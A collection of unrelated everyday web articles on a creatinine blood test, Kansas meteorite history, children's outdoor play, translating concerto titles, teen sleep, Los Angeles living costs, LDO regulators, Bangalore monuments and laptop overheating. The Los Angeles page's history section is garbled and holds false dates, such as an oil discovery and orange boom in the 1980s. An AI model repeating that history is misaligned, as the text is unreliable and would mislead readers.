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Serum Creatinine Test: Why and How is it Done?
Serum Creatinine Test: Why and How is it Done?
Creatinine is a waste product that is produced from normal body muscle wear and tear. There is creatinine in everybody’s bloodstream. The serum creatinine test is done to measure the amount of creatinine in the blood. This examination is conducted to see how well the kidneys function. A urine test may also measure creatinine.
Each kidney has millions of tiny units of blood filtering known as nephrons. The nephrons pump blood continuously through a very small network of blood vessels known as glomeruli. Those structures filter out of the blood – waste products, excess water, and other impurities. The contaminants are contained in the bladder and exit the body when urinating.
Normally, creatinine is one of the substances which healthy kidneys remove from the body. And so doctors measure creatinine levels in the blood to evaluate kidney function. High creatinine levels may suggest damage to your kidney, and that they may not be functioning properly.
The creatinine test is generally performed along with various other laboratory tests, including a blood urea nitrogen (BUN) test and a rudimentary metabolic panel (BMP) or comprehensive metabolic panel (CMP). At routine physical exams, these tests are done to help diagnose certain conditions and to check for any kidney function problems.
Why is the serum creatinine test done?
A serum creatinine test — measuring the creatinine level in your blood — can determine whether your kidneys are working well.
How often a creatinine test is required to be repeated depends on underlying conditions and your risk of damage to the kidneys. For instance:
• Your doctor may advise you to have your creatinine test done a minimum of once a year if you are a type 1 or type 2 diabetes.
• You might have to undergo a creatinine test if you have any medical condition that might affect your kidneys, such as diabetes and high blood pressure or if you are taking medication that might affect your kidneys.
• Your medical expert might ask you to do a serum creatinine test if you have any kidney problems.
Prerequisites of a Serum Creatinine Test
You might be told not to eat cooked meat for at least 24 hours before the test. Studies have demonstrated that cooked meat can increase levels of creatinine temporarily.
A serum creatinine test needs no planning. Fasting is not needed. To get the correct result, you would normally be advised to eat and drink the same as you usually do.
Nonetheless, it is important to inform your doctor about any prescription or over-the-counter (OTC) medicines you are taking at present. Many medications will boost the level of creatinine without causing damage to the kidney and interfering with the test results.
If you take any of these medicines, let your doctor know:
• Cephalosporin antibiotics, such as cephalexin and cefuroxime
• Chemotherapy drugs
• Cimetidine
You may be asked by your doctor to stop taking your medicines or do some dosage adjustments before the test. The doctor will also take that into account when evaluating the test results.
serum creatinine
Serum Creatinine Test: Understanding the Results
Creatinine is expressed in milligrams per blood deciliter (mg/dL). People who are more on the muscular side tend to have higher levels of creatinine. Results can also vary based on age and gender.
But in general, normal levels of creatinine range from 0.9 to 1.3 mg/dL in men, and from 0.6 to 1.1 mg/dL in women aged 18 to 60. Normal levels for people over 60 are about the same.
If you get high levels of serum creatinine in the blood, it could be a sign that your kidneys are not working properly.
Your serum creatinine levels may be slightly higher or higher than normal, because of possible conditions like:
• Kidney problems, such as kidney damage or infection
• Dehydration
• A high-protein diet
• A reduced flow of blood to the kidneys due to congestive heart failure, shock, or complications of diabetes
• A blocked urinary tract
If your creatinine is really high and is caused by an acute or chronic kidney injury, the amount will not decrease until the problem is resolved. If it was briefly or wrongly elevated due to dehydration, a very high protein diet, or the use of supplements, then the amount will be reduced by removing such factors. A person receiving dialysis, after treatment, will also have lower levels.
Having low creatinine levels is rare, but this can happen as a result of certain conditions that cause reduced muscle mass. Normally, they are no cause for concern.
When should it be repeated?
After a few weeks, your doctor may want to repeat the serum creatinine test to see if the results are similar. If you have diabetes type 1 or type 2, your doctor may prescribe creatinine testing at least once a year.
If you suffer from renal disease, your doctor can recommend regular creatinine tests to monitor your condition.
A member of your health care team takes a blood sample during the serum creatinine test by sticking a needle into a vein in your arm. Then, the blood sample will be sent to a laboratory for analysis. Once the test is done, you can immediately get back to your usual routine.
Your doctor may also in some cases measure the level of creatinine in your urine. For this test, which is a part of a creatinine clearance test, your doctor may ask you to collect urine samples for 24 hours in an exclusive container. The urinary creatinine test will help the doctor assess the existence or degree of kidney failure more accurately.
Learn more about diagnosing and managing kidney disease here.
Creatinine/https://labtestsonline.org/tests/creatinine/Accessed on 30/01/2020
Creatinine test/https://www.mayoclinic.org/tests-procedures/creatinine-test/about/pac-20384646/Accessed on 30/01/2020
Creatinine (Low, High, Blood Test Results Explained)/https://www.medicinenet.com/creatinine_blood_test/article.htm/Accessed on 30/01/2020
Creatinine: What is it?/https://www.kidney.org/atoz/content/what-creatinine/Accessed on 30/01/2020
Creatinine Test/https://medlineplus.gov/lab-tests/creatinine-test/Accessed on 30/01/2020
Creatinine blood test/https://medlineplus.gov/ency/article/003475.htm/Accessed on 30/01/2020
Creatinine – Serum/https://www.ucsfhealth.org/medical-tests/003475/Accessed on 30/01/2020
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Written by Nikita Bhalla Updated Sep 29, 2021
Fact Checked by Bianchi Mendoza, R.N.
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In 1923, a Kansan saw a fireball overhead. He helped popularize a new science.
November 28, 2021 3:33 am
Researcher Harvey Nininger cuts a meteorite with a saw. A biologist by training, Nininger ended up devoting his life to the study of meteorites. (Denver Museum of Nature and Science)
Look up.
The Kansas sky on a clear winter’s night is a picture window to the universe. Seek out a place where, as the astronomers say, the seeing is good — my local favorite is the Tallgrass Prairie National Preserve near Strong City — and you can peer into a star-spangled slice of the Milky Way. You can’t see the whole universe, because the farthest star one can see with the naked eye is only a few thousand light years distant, but you can get a good view of the neighborhood.
These night skies have got me to thinking about science, and how Kansans have often led the way in advancing our understanding of the universe, despite notorious missteps along the way. Among those far-seeing individuals who dedicated themselves to scientific fact was Harvey Nininger.
I was reminded of Nininger’s story this past week because of the NASA mission, launched Tuesday, to test whether crashing a satellite into an asteroid can change its path — and potentially save earth from cosmic apocalypse. After researching meteorites in Kansas for more than a decade, in fits and starts, I have come to regard Nininger’s story as foundational.
One night in November 1923, Nininger, a biologist by training, saw a fireball streak overhead as he chatted with a friend near his home in McPherson. Nininger chalked the trajectory of the fireball on the sidewalk, thinking he might be able to track it down. He never did find it, but during the next 60 years he located thousands of others. By the 1940s, he was believed to have located half of all the meteorites that had so far been identified anywhere on the surface of the earth. He was awed by the number of meteorites to be found in his home state.
“Verily,” he wrote in 1933, “Kansas has been the target of the universe.”
It was here that the study of space rocks became a discipline — and Kansas is still where meteorite hunters come to find meteorites so big they have to be dug out of the fields with backhoes. Although Kansas accounts for just 2% of the total land mass of the United States, about 10% of all verified meteorite finds have come from the state.
This isn’t because Kansas is a bullseye in a cosmic shooting gallery, but because from 1923 on, Nininger crisscrossed the state, educating local populations about meteorites and offering $1 a pound for the space rocks. More importantly, western Kansas is flat, highly cultivated, sparsely developed, and relatively arid. Because most meteorites are rich in iron and nickel, they rust and eventually disintegrate. A dry climate slows that disintegration. That’s why other great places to hunt meteorites include the American Southwest, the African deserts, and the Antarctic.
“Kansas, especially its western part, is considered a good place to find meteorites because it is open country with few terrestrial rocks at the surface, heavily cultivated, and clear of trees and human development,” according to Daniel R. Suchy of the Kansas Geological Survey in a 2007 circular. “Thus, anything out of the ordinary shows up readily. In addition, western Kansas is a relatively arid region where meteorites may disintegrate more slowly than in some other regions.”
The night sky in winter stretches above the Tallgrass Prairie National Preserve near Strong City. (Max McCoy/Kansas Reflector)
The Kansas meteorite farm
But it’s more than terrain that has made Kansas one of the best places to hunt meteorites. It may also have something to do with the character of the state’s inhabitants, who are disproportionately represented in the history of meteoritics.
Since the late 19th century, Kansans have been unusually keen on meteorites, beginning with a pioneer woman named Eliza Kimberly. As a young bride, Eliza was dragged from her home in Iowa to the sand dunes of Kiowa County, Kansas, where she began to collect the strangely heavy black rocks that her husband, Frank, would pull from the fields. Eliza believed the rocks she began collecting in 1882 were meteorites and began a letter-writing campaign to get somebody to verify them. Scientists from Washburn University and the American Museum of Natural History did just that. Not only were the Kimberly rocks meteorites, they were also among the most uncommon and beautiful type, a stony-iron called pallasites. They are made of olivine crystals embedded in an iron-nickel alloy and come from the core-mantle boundary of a nascent planet that broke up to make the asteroids strewn between the orbits of Mars and Jupiter. When sectioned and polished, the resulting slabs resemble stained glass studded with green gems and framed by a honeycomb matrix of bright metal.
It is a tradition that meteorites are named for the nearest geopolitical landmark — in this case, the nearest post office, two and a half miles away at the tiny community of Brenham (in unpopulated regions such as Antarctica, meteorites are typically assigned numbers). The meteorites from this Kiowa County strewn field are still known as Brenham today, even though all that is left as a reminder of the community is a lone grain elevator next to the Santa Fe railway tracks.
After Eliza began selling visiting scientists and museums pieces of her collection, the homestead became known as the “Kansas Meteorite Farm.” She paid off the mortgage on the homestead early. While she sold her strangely heavy rocks to scientists as far away as Europe, the person who would begin to unlock the secrets of the Brenham fall was much closer at hand. That person was Nininger, who seemed a poor candidate to tease anything from the universe. He had grown up south of Wichita in a religious sect called the Church of the Brethren, but which was commonly called the Dunkards. The nickname comes from the habit of immersing believers three times in water. The sect regarded nonconformity with the contemporary world as a virtue, refused oaths and military service, and favored simple and old-fashioned clothing often associated with Mennonites. His family’s cabin contained few books, Nininger recalled in his autobiography, and not a single book on natural history.
Yet, in the 1920s, Nininger was the first person to declare himself a professional meteorite hunter. When he saw the fireball streak overhead, he was a biology professor at McPherson College, a private liberal arts college associated with the Church of the Brethren. Nininger is now regarded as the father of meteoritics, a relatively new science that has supplied clues not only to the way the world began but how it is likely to end.
There are two other major classifications of meteorites, stones and irons. Stones are similar in composition to rocks found on earth, and they account for more than 90% of known falls and finds. Irons, made of varying proportions of iron and nickel, make up about 6%. Irons and pallasites are easier to spot and to find using metal detectors, notes Suchy in the Kansas Geological Survey circular, and thus dominate most meteorite collections.
– Max McCoy
Falls, finds and strewn fields
Some terminology is in order here. The term “meteor” describes a streak of light, commonly called a falling star, produced when space matter falls through the atmospheres and is heated by friction to incandescence; a “meteoroid” is any matter that is too small to be considered an asteroid or comet; and a “meteorite” is a meteoroid that reaches the earth without being vaporized. Meteor, in classical times, denoted an atmospheric phenomenon, and is also the parent word for the study of terrestrial weather, a science unrelated to meteoritics.
Finally, a “fall” is when a meteorite reaches the earth and its passage is witnessed and noted, and in contemporary times results in meteorite hunters racing one another to the area of suspected touchdown. A “find” is when the meteorite was not seen to fall, but is found on the ground, sometimes thousands of years after arrival. A “strewn field” is an area where the meteorites pelted the earth.
During the Great Depression, Nininger struggled to continue his meteoritic investigations; he traveled the state, speaking to any group that would have him, showing meteorite samples and promising a dollar or two a pound for anyone who could find more. He scraped together enough funds to lead his McPherson college students on meteorite expeditions as far away as South America, cataloguing historic finds and gathering new data from the strewn fields. His great rival was Lincoln La Paz, also a native Kansan, born in Wichita. La Paz was 10 years younger than Nininger, had taught at Dartmouth, and earned a doctorate in 1928. While Nininger was also called “doctor,” the title was honorific; the highest degree he held was a master’s in biology.
In 1934, Nininger excavated (with a bulldozer) what he believed was a crater made by the Brenham meteorite’s main mass. While he recovered thousands of small meteorites, he was puzzled to find nothing heavier than 100 pounds; conventional wisdom said a big rock had to be at the bottom of the hole (we now know the fragments spread out, like celestial buckshot). The “crater” was a shallow depression southeast of the Kimberly home that the pioneers had thought was a buffalo wallow — and it may have been. Bison were becoming scarce when the Kimberlys moved to Kiowa County, but they were still seen as late as 1889. When the depression was guessed to be from a meteorite, it was called Haviland Crater, for the nearest town, a Quaker community two miles to the east named for Laura Smith Haviland, a famous abolitionist who never visited her namesake.
The Brenham meteorite figures heavily in the history of science and meteorites. Before the space program, meteorites were the only samples from beyond the earth that scientists could study, and they still offer some of the best data for the formation of the solar system. And every few decades since Eliza Kimberly began picking up her strangely heavy rocks — that is, with each new advance in understanding or technology — the Brenham strewn field has produced a spectacular new find, and inspired another meteorite rush in Kiowa County.
Meteorite hunter Steve Arnold poses in 2009 with a meteorite recovered from a field near Admire. (Max McCoy/Kansas Reflector)
The Space Wanderer
In 1949, for example, H.O. Stockwell used a metal detector to find a half-ton rock on the Kimberly homestead. Stockwell was an electronics repairman at Hutchinson when he had the idea for a metal detector specially designed to find meteorites. He sent his schematics to the Hedden Company, which was building mine detectors for the Army, and soon he had a strange contraption that looked like a table-top radio mounted on a spindly wooden wheelbarrow. Not far from the Kimberly homestead, he found the world’s largest pallasite meteorite — a 1,000-pound rock he christened the Space Wanderer. A few months later, the city of Greensburg agreed to purchase the meteorite, for $1,250, as the centerpiece of a museum to be located adjacent to the Big Well.
Nininger, meanwhile, had ranged far from Kansas.
In 1946, he established a meteorite museum in a fortress-like red sandstone building alongside Route 66 near Meteor Crater in Arizona and began selling specimens to the public.
For all of his adult life, Nininger would challenge the cornerstones of faith he had learned as a child; not only would he denounce belief in a 6,000-year-old earth, but he would come to chide the president of the Brethren college at McPherson for not teaching evolution. But Nininger never rejected faith, and he sometimes wrestled with problems that might seem trivial to most of us; because the Dunkards forbid the wearing of jewelry, even wedding rings, he felt guilty when he tried to have the Brenham peridot set into a ring for his wife, Addie. When the gemstones proved too fragile to be mounted and shattered, he concluded it was probably for the best.
Nininger, who was born in 1887, lived not only to see meteoritics become a well-defined discipline, but also to watch the moon landings on television. Throughout his life, he fought a battle of reason with his church. While he believed in God, he thought it foolish to reject evolution or to believe the earth only 6,000 years old. When McPherson College would write him letters asking for money, the elderly Nininger would gently lecture the Brethren institution on the need to advance science instead of stand in its way.
Nininger died in 1986, at the age of 99. He had outlived Lincoln La Paz by one year.
Steve Arnold’s Humvee tows a metal detector coil across a field near Greensburg in 2007. (Max McCoy/Kansas Reflector)
The biggest rock
In October 2005, another Kansan made headlines again, this time by pulling an even bigger meteorite from the Brenham strewn field. Steve Arnold, a native of Fort Scott, found a 1,430-pound space rock in a wheat field not far from the original Kimberly property, by using a large metal detector coil towed behind his bright yellow Hummer. It is the largest piece of the Brenham meteorite yet found, and the world’s largest “oriented pallasite.” Oriented means it stabilized during its fall, and was forged by the atmosphere into a domed shape like a spacecraft heat shield.
Like Nininger, Arnold declared himself a professional meteorite hunter.
The discovery landed Arnold in newspapers and magazines around the world. Television was full of him, from the “Today” show to the cable series “Cash and Treasures.” He and his meteorite-hunting partner, Geoff Notkin, even had their own reality show, “Meteorite Men,” which ran on the Discovery channel from 2009 to 2012.
Today, the big rock Arnold found is in a private collection out of state. Stockwell’s Space Wanderer can be seen at the Big Well Museum and Visitors Center at Greensburg, a new facility built after a 2007 tornado devastated the town.
Go visit, if you have the chance.
The story of meteorites in Kansas is one of passion, rivalry and incremental advancements of what we know about the universe. It’s also a story of imagination, dedication to science and those clear winter nights when you can almost see the edge of forever.
Max McCoy
Max McCoy
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Why It’s Important To Spend Time Outdoors
Our luxe columnist, Nadia McSheffrey, discusses why the great outdoors is a glorious tool for development in little ones...
Well, it’s that time of year again when we crank up the heating, put our warm socks on and snuggle up on the sofa.
When the weekend arrives, staying inside where it is warm and dry seems like the obvious choice but, if we repeatedly do this, it will start to take its toll on our children. To be blunt, it’s not good for them.
There is growing research to say that children need to be outdoors, every day, for at least three hours. I know, as a former teacher, that when it is cold, wet, windy, icy or snowing (basically anything other than warm and dry) many schools have ‘indoor play.’ If schools do this over a number of days or weeks, children miss out on vital outdoor time.
Now, it’s possible that kids may not want to go outside, in fact, they will do anything to avoid it, but they really need to. Let me explain why.
Children who don’t regularly spend time outside, playing freely, can suffer. It can be detrimental to not only their physical health, but also their mental wellbeing. There is evidence to show that more and more ‘indoor’ children are struggling with their fine motor skills (e.g. using a pencil or cutting with scissors) and they are unable to regulate their gross motor skills (e.g. bumping into things, lacking core strength and using too much force when interacting with friends).
When we restrict children’s movement, these are the results.
Some children spend so much time indoors that they are growing intolerant to their natural surroundings. They don’t like the feeling of mud, grass or rain. They don’t like the wind on their face or sand on their hands. It’s almost like they are allergic to it.
Author, Richard Louv, coined the informal term ‘Nature Deficit Disorder’ and he is concerned, like many other professionals, that children are not having the outdoor experiences they so desperately need.
They are becoming disconnected from the natural world. There are a number of benefits for children when they are surrounded by nature; it builds their confidence and resilience, promotes creativity, imagination and problem-solving, provides a different form of stimulation, awakens the senses and gets them moving.
It also builds their immune system and they get their daily dose of vitamin D. In our current situation, this is more important than ever. Children become more aware and alive when they are outside.
The great outdoors has a wonderful way of knowing exactly what each child needs at the time; it calms those children who are anxious or stressed, whilst providing a vast, exciting playground for those who have energy to burn or physical aggression to channel.
There is a saying: “If your children are bouncing off the walls, take the walls away”.
I use the outdoors as a form of natural medicine for my son. Back in the good old days, pre-COVID, when children went to birthday parties with other little humans and ate their weight in sugar, we would bundle our son into the car soon after the last candle had been blown out and take him to the beach or the woods to rid his body of the saccharine high. We even tally up our time outside and try to reach 1,000 hours each year.
More and more people are starting to realise the benefits of being outside. Outdoor or forest educational spaces are becoming increasingly popular. It’s not unusual to visit an outdoor nursery and see three-year olds lighting fires, using tools and climbing
The children are engrossed in their surroundings and they are learning in a very real, organic environment. They use nature as their classroom and without the constraints and restrictions that come with the indoors, children are free to explore, create and develop important skills.
If you’re on board with this way of thinking, then how can you increase your child’s exposure to nature? Well as always, we have to be the model for our children.
If we start talking about weather in negative terms such as the ‘horrible rain’ or the ‘pesky wind’ then this will filter down to our kids.
We need them to know that we value the time we spend in nature too. If children don’t feel a connection to the natural world then there will be no incentive for them to protect it.
We need to show our children the wonders of the beaches, the forests, the hills and the rivers, so they will be driven to look after them in the future.
Many of my favourite childhood memories are centered around being outdoors; skiing in the mountains, swimming in the sea, camping in the fields. These are the things I take with me on my adult journey through life and the experiences I had (and continue to have) in nature, have brought me great joy and contentment.
So, when you look outside this weekend and it appears dark and cold, rather than shutting the curtains and reaching for the remote, grab your coat and boots and declare a family nature adventure!
Get outside and explore what our fantastic region has to offer. Remember, just as Alfred Wainwright said: “There’s no such thing as bad weather, only unsuitable clothing”.
For more information and daily parenting support from Nadia, visit thetranquiltreehouse.com
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Translating track titles, part 2
In my last post, I dissected the construction of a classical music piece title, and laid out the foundation of an automatic translation. I ended that post talking about some exceptions and difficulties. One of them is about the concertos:
Concertos makes sense only when attached to an instrument. Concerto No. 1 could be for piano or for violin as the solo instrument, in one composer’s given catalogue. They will both have No. 1 in common, and will be distinguishable by an instrument indication (Piano Concerto No. 1 vs Violin Concerto No. 1). This leads to more syntax and translation effort (but seems still possible).
This is why a concerto is always expressed with one instrument. In its classical and general form, a concerto is a musical form where a soloist is accompanied by an orchestra. The soloist (playing the violin, the piano or any other instrument) is put in front of the orchestra, close to the audience, and even behind the conductor. I like to see the soloist as the “hero” of a concerto. In the old times, the soloist also directed the orchestra, as well as playing his/her soloist part.
Frederick the Great playing a flute concerto in Sanssouci, with C. P. E. Bach at the piano and Johann Joachim Quantz leaning on the wall to the right. Pubic Domain.
Formal title in English
In English, the most obvious way to say it is: “Piano Concerto”, obeying to the pattern <Instrument Name> Concerto. Then follow the other usual specifics, like the numbering, the key and the opus number, like: “Piano Concerto No.2 in B-flat major, Op. 19”
Another way to express it is by saying “Concerto for Piano and Orchestra”. As I said, there is always an orchestra in a concerto, so saying “Piano Concerto” implies that there is also an orchestra in it. However, this form, which is more explicit, is still valid and widely used.
• Short form: Piano Concerto No.2 in B-flat major, Op. 19
• Detailed form: Concerto for Piano and Orchestra No.2 in B-flat major, Op. 19
The full English title, short form, for Beethoven’s second concerto.
In French and Italian
In French, the same title would be:
Some remarks:
• The instrument name is placed after the word Concerto, and separated with the word “pour” (for), which will always be there, whatever the instrument is
• The first letter of the instrument is not capitalized
• I detailed the other fields in my previous post
• It is also possible to opt for the detailed form, with “Concerto pour piano et orchestre n°2 en si bémol majeur, Op. 19″
In Italian, the syntax is the same. Only the vocabulary and the punctuation differs:
In Italian, pour becomes per, and piano is pianoforte
In German
For the Concerto case, German is a bit trickier. The instrument and the word Konzert (Concerto) are concatenated such as: Klavierkonzert (Piano Concerto) Violoncellokonzert (Cello Concerto). However, in some cases, it is more than just a concatenation, like in Flötenkonzert (Flöte + konzert) or Trumpetenkonzert (Trumpete + konzert) or Klarinettenkonzert (Klarinette + Konzert). This could lead to a simple rule such as : when the instrument is a feminine word ending with e, an n is added between the instrument name and konzert. However, this rule won’t work for Violine, which leads to Violinkonzert and not Violinenkonzert. Maybe just an exception could be added to this one…
As my German abilities are limited, I prefer opting for the detailed title, avoiding these grammar rules and exceptions. In our Beethoven example, this will lead to:
Extending it to other forms
Not only Concertos are associated with one instrument. Some other forms such as Concertinos (Horn Concertino), Sonatas/Sonatinas (Piano Sonata, Violin Sonata, Trumpet Sonatina), Suites (Cello Suite) or event more complex forms such as Quintets (Piano Quintet) are also commonly associated with an instrument in their title. The same rules could thus be extended to such forms.
Auto-translations for the piece Cello Suite No.2 in D minor, BWV 1008
Further considerations
Of course, automatic translation based on grammar rules are not the best. I don’t pretend to use such tools to solve all cases of classical music title translation. However, this formal titling in classical music can be leveraged in some cases to display or parse a title in another language, when no human translation has been provided.
Further considerations naturally lead us to multi instrumental forms. Usually a Concerto is for one soloist instrument and an orchestra. However, several examples tells us differently. The most famous case might be Mozart’s Concerto for Flute, Harp and Orchestra in C major, K. 299. Other forms are composed for several instruments, such as this Martinů’s Scherzo for Flute and Piano, H 174a. In fact, violin or flute sonatas are usually accompanied by a piano, which make them two-instrument pieces. Multiple-instrument works might follow a pattern and lead to title auto-translation. That’s a good idea for another post on this topic.
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Sleep, Who Needs it?
Connor Gauley
Sleep, the elusive activity that seems unattainable to the high school student. According to Mayo Clinic, the average teen gets only 7 hours of sleep, roughly 3 hours less than the recommended amount. Experts believe that this lack of sleep is due to excessive technological use, social attitudes and activities, and a hectic high school schedule. Although some of these problems seem unsolvable, there is one solution that can help change the amount of sleep a teenager gets drastically.
The idea that school should start later in the day provides a solution for many problems within teenagers lives. The The Centers for Disease Control and Prevention (CDC) states that if schools were to push back their start time, there would be almost immediate improvement not only in how much sleep teenagers get, but also their academic performance and quality of life. A whopping 93% of high schools, including Pella High, start school before the American Academy of Pediatrics recommended start time of 8:35. However, it is visible that schools in states such as California are making the effort to heed the advice of experts and start school around the time of 8:35 or later.
Using the evidence provided it would be a very well informed decision to push back the start time of all schools in America to 8:35 or later. If this were to happen, not only would the sleep schedule of teenagers improve, but their social lives and academic success would benefit as well.
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Home USEFUL ARTICLE Cost of Living in Los Angeles, U.S as a Foreigner Per Year
Cost of Living in Los Angeles, California as a Foreigner Per Year.
Cost of Living in Los Angeles: Los Angeles, also known as the city of angels is known as the second-most populous city in the United States after New York City, and also, it is the largest city in the Western United States, with an estimate of four million people living there. The city of Los Angeles is the financial, cultural, and commercial centre of Southern California.
Cost of Living in Los Angeles
Los Angeles is one of the hearty economic engines around the United State, with various economies in an extensive range of professional and cultural field
This city is located in a large basin bounded by the Pacific Ocean on one side and by high mountains. Los Angeles is the centre of the Hollywood entertainment industry.
A Brief History of Los Angeles
The history of Los Angeles began with a colonial Mexican town that was founded by 11 Mexican families which were known as Los Pobladores.
They established a settlement in the Southern part of California which changed little in three decades after 1848 when California became a part of the United States.
Holly hood made the city popular and the Second World War brought new industry. Los Angeles gained their first News Paper in the year 1870. The city suffered a flood in the late 19 century.
Since 1960 which made people migrate to South California. The growth down and traffic delays became famous. In the year 1870 Los Angeles had their first News Paper.
Moreover, in the 1980s the orange industry of California boomed. When the first-word war began, many Americans left their country in Los Angeles.
What’s More!!
The discovery of oil in the 1980s brought serious growth to the city. Furthermore, in the year 1943, was involved in a riot called the Zoot Suit riots in which the Mexicans were attacked.
In the year 1965, there was another riot. This led to the police stopping to question the African Americans on the 11th of August. During their tribulations, the officers were not guilty.
The result of this was a three-day riot in which in the end 58 people were killed. An earthquake visited Los Angeles which resulted in the death of 57 people and thousands of people were injured, this was a great loss to the people of Los Angeles.
Not too long Los Angeles recovered. Many popular buildings were brought up between the late 20th century and the early 21st century.
Theme building was erected, the US bank tower was also built and the first light rail line was exposed in 1990.
In the 21st century, the cathedral of our lady of Angeles was opened in the year 2002.
It might interest you to know that the Special Olympics summer games took place in Los Angeles in the year 2015. currently, the population of Los Angeles is up to 3.9 million.
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Cost of Living in Los Angeles
I will give you a brief summary of the cost of years living in Los Angeles especially for foreigners.
1. Four-person family estimated cost monthly is summed up to 1,312,992.97N [3,624.65$] without rent, estimated cost yearly is summed up to 15,755,915.64N [43,495.84$].
2. A single person monthly cost is summed up to 363,959.53N [1,004.75$] without rent. Estimated cost yearly is summed up to 4,367,514.36 [12,057$]
3. The cost of living index in Los Angeles is 128.01%higher than in Lagos.
4. Cost of living ranks 36th out of 439 cities in the world.
5. Los Angeles has a cost of living index of 79.23.
US DOLLAR [USD] is the currency used in Los Angeles.
Basic lunchtime menu (including a drink) in the business district$15
Combo meal in fast food restaurant (Big Mac Meal or similar)$8
500 gr (1 lb.) of boneless chicken breast$5.13
1 liter (1 qt.) of whole fat milk$0.97
12 eggs, large$3.83
1 kg (2 lb.) of tomatoes$3.69
500 gr (16 oz.) of local cheese$5.98
1 kg (2 lb.) of apples$3.19
1 kg (2 lb.) of potatoes$1.66
0.5 l (16 oz) domestic beer in the supermarket$4.40
1 bottle of red table wine, good quality$14
2 liters of Coca-Cola$1.90
Bread for 2 people for 1 day$2.36
Monthly rent for 85 m2 (900 Sqft) furnished accommodation in EXPENSIVE area$2,653
Monthly rent for 85 m2 (900 Sqft) furnished accommodation in NORMAL area$2,263
Utilities 1 month (heating, electricity, gas …) for 2 people in an 85m2 flat$158
Monthly rent for a 45 m2 (480 Sqft) furnished studio in an EXPENSIVE area$2,314
Monthly rent for a 45 m2 (480 Sqft) furnished studio in NORMAL area$1,592
Internet 8 Mbps (1 month)$47
40” flat-screen TV$345
Microwave 800/900 Watt (Bosch, Panasonic, LG, Sharp, or equivalent brands)$126
Laundry detergent (3 l. ~ 100 oz.)$12
Hourly rate for cleaning help$28
1 pair of jeans (Levis 501 or similar)$51
1 summer dress in a High Street Store (Zara, H&M or similar retailers)$45
1 pair of sports shoes (Nike, Adidas, or equivalent brands)$87
1 pair of men’s leather business shoes$123
Volkswagen Golf 1.4 TSI 150 CV (or equivalent), with no extras, new$23,237
1 litre (1/4 gallon) of gas$0.96
Monthly ticket public transport$97
Personal Care
1 box of antibiotics (12 doses)$33
Short visit to private Doctor (15 minutes)$135
1 box of 32 tampons (Tampax, OB, …)$7
Deodorant, roll-on (50ml ~ 1.5 oz.)$3.71
Hair shampoo 2-in-1 (400 ml ~ 12 oz.)$5.83
4 rolls of toilet paper$3.65
Tube of toothpaste$1.81
Standard men’s haircut in expat area of the city$22
Basic dinner out for two in neighborhood pub$47
2 tickets to the movies$29
2 tickets to the theatre (best available seats)$194
Dinner for two at an Italian restaurant in the ex-pat area including appetizers, main course, wine and dessert$85
1 cocktail drink in downtown club$14
Cappuccino in expat area of the city$4.84
1 beer in neighborhood pub (500ml or 1pt.)$7
iPad Wi-Fi 128GB$441
1 min. of prepaid mobile tariff (no discounts or plans)$0.45
1 month of gym membership in the business district$60
1 package of Marlboro cigarettes$8
If you have any questions concerning Cost of Living in Los Angeles, please feel free to use the comment box below and ask us your question. We will be very pleased to answer you.
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Engineer it - Linear regulators (LDOs)
These training videos provide a better understanding of LDOs and include more information on designing the best ADC power supplies.
These training videos will be used to better understand linear regulators (LDOs) and include more information on designing the best ADC power supply, stabilizing an LDO, measuring LDO noise and power supply rejection ratio, sourcing 5 A or more with current sharing regulators, measuring thermal resistance between junction temperature and ambiance, and measuring the ADC power supply rejection.
The best supply solution
Is your LDO in control?
How to measure LDO noise and PSRR
Can't take the heat? Share the current
Measuring thermals. How hot is Your LDO?
What is ADC PSR?
Why not a DC/DC converter?
Check out the E2E™ community
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Most Remarkable Historical Monuments in Bangalore
Historical Monuments in Bangalore
Vidhan Soudha
Holding an area of 5, 50,505 square feet, the giant edifices of Bangalore also known as the largest Secretariat in India, the Vidhan Soudha lies in 7 Cubbon Park on Kasturba Road in Bangalore.
An impressive house of the State Legislature, the royal gazing Vidhan Soudha was administered and implemented by the late Chief Engineer B.R.Manickam, the edifice seized five thousand laborers, 1500 chi sellers, masons and wood carvers for four years where the impressive house extends 700 feet and deliberates as 350 feet width.
The flower-patterned beautification on stone carvings composed on Bangalore granite specifically; Magadi pink and Turuvekere black stones. The renowned shrine dexterity of South Indian, the building is an appealing amalgamation of the neo-Dravidian approach, British, Indio-Islamic and contemporary architecture.
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How do I reduce the heat on my laptop Windows 10?
Why does my Windows 10 laptop get so hot?
System Changes: Driver changes, Windows Operating System advancement or update may cause problems among programs, hence making the Computer too hot to use. Overloaded GPU: CPU, GPU, and other chipset are the main temperature source on Windows 10/11 system. Hence, the loaded chipset can be the reason for hot problem.
How do I make my laptop less hot?
Here are some simple ways to do that.
1. Avoid carpeted or padded surfaces. …
2. Elevate your laptop at a comfortable angle. …
3. Keep your laptop and workspace clean. …
4. Understand your laptop’s typical performance and settings. …
5. Cleaning and security software. …
6. Cooling mats. …
7. Heat sinks.
How do I cool down my windows on my laptop?
How to cool down your computer
1. Don’t block your computer’s vents.
2. Use a laptop cooling pad.
3. Avoid using programs that push your computer’s CPU limits.
4. Clean your computer’s fans and vents.
5. Change your computer’s settings to improve its performance.
6. Shut down the computer.
INTERESTING: Best answer: How do I do a fresh reinstall of Windows 7?
Why is my laptop heating up so quickly?
The causes can vary – it could be due to a build-up of dust in the fan, or it could be due to the air vents being covered, like if you have your laptop sitting on your lap or a soft surface like your bed. It could also simply be due to how you’re using your computer.
How do I check my laptop temperature Windows 10?
Why my laptop is so hot?
Why Is Your Laptop Overheating? Your laptop is overheating because of insufficient cooling. Potential reasons include dust blocking intake grills or exhaust ports, a clogged-up fan, or degenerating thermal paste or thermal pad.
How can I keep my laptop cool without a cooling pad?
But if you don’t have the money for a cooling pad, you can always just invest in a regular stand—a tiny little block that you place your laptop on, thus giving it space to let air flow more freely. Many stands are even made of material that acts as a heat sink, like aluminum.
Why is my laptop so hot and loud?
Loud laptop fans mean heat; if your fans are always loud then that means your laptop is always hot. Dust and hair buildup are unavoidable, and only serves to reduce airflow. Reduced airflow means poor heat dissipation, so you’ll need to physically clean the machine to make things better.
INTERESTING: Frequent question: How can I hear my microphone through my speakers Windows 10?
Can I use hair dryer to clean laptop?
How can I clean my laptop vent without opening it?
If You Can’t Open Your Laptop
First, take the laptop somewhere you don’t mind getting dusty. You probably don’t want to blow dust all over your desk or bed. Get a can of compressed air, point it at the laptop’s cooling vents, and give them a few short bursts of air.
How can I clean my laptop vent without compressed air?
Unplug the Laptop
1. Unplug the Laptop.
